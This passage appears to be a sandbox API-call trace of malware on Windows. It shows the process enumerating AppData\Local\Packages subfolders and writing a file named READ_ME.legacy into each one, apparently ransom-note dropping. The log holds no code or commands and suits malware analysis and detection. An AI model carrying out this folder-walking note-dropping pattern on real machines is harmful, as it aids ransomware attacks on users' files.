ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.407] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.407] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.408] CloseHandle (hObject=0x838) returned 1 [0150.408] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.408] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\HoloShell_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\holoshell_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0150.408] WriteFile (in: hFile=0x838, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.409] CloseHandle (hObject=0x838) returned 1 [0150.409] FindNextFileW (in: hFindFile=0x563b38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed0c8e8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7ed0c8e8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7ed0c8e8, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.409] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563e38 [0150.409] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12383999, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.409] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x30cf4720, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30cf4720, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.520] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.521] CloseHandle (hObject=0x83c) returned 1 [0150.522] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x509d4298, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b7ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x509d4298, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.522] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.523] CloseHandle (hObject=0x83c) returned 1 [0150.523] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50915689, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b882e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50915689, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.523] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.524] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.525] CloseHandle (hObject=0x83c) returned 1 [0150.525] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b8f2a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.527] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.528] CloseHandle (hObject=0x83c) returned 1 [0150.528] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe290fd2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe290fd2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.528] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b960c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.528] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.529] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.530] CloseHandle (hObject=0x83c) returned 1 [0150.530] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5093b894, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7114efb2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7114efb2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.530] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.678] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.679] CloseHandle (hObject=0x83c) returned 1 [0150.679] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x120fb2e2, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x120fb2e2, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x120fb2e2, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.679] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.680] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.681] CloseHandle (hObject=0x83c) returned 1 [0150.681] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9a80b26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.681] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0150.682] WriteFile (in: hFile=0x83c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.682] CloseHandle (hObject=0x83c) returned 1 [0150.683] FindNextFileW (in: hFindFile=0x563e38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50830815, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9a80b26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50830815, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.683] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x564038 [0150.683] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4609348, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.683] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6420df31, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x30fa3191, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x30fa3191, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.683] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.684] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.685] CloseHandle (hObject=0x840) returned 1 [0150.685] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a95d68a, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad6eef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a95d68a, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.685] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.686] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.687] CloseHandle (hObject=0x840) returned 1 [0150.687] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a937435, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad762a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a937435, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.687] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.687] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.688] CloseHandle (hObject=0x840) returned 1 [0150.688] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a89eb27, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad7ee5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a89eb27, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.688] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.689] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.689] CloseHandle (hObject=0x840) returned 1 [0150.689] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe290fd2b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe290fd2b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe290fd2b, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.689] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a8c4d57, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9ad883d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a8c4d57, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.689] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.690] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.691] CloseHandle (hObject=0x840) returned 1 [0150.691] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a95d68a, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x71175214, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71175214, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.691] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.719] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.720] CloseHandle (hObject=0x840) returned 1 [0150.720] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd411e595, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd411e595, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd411e595, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.720] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" 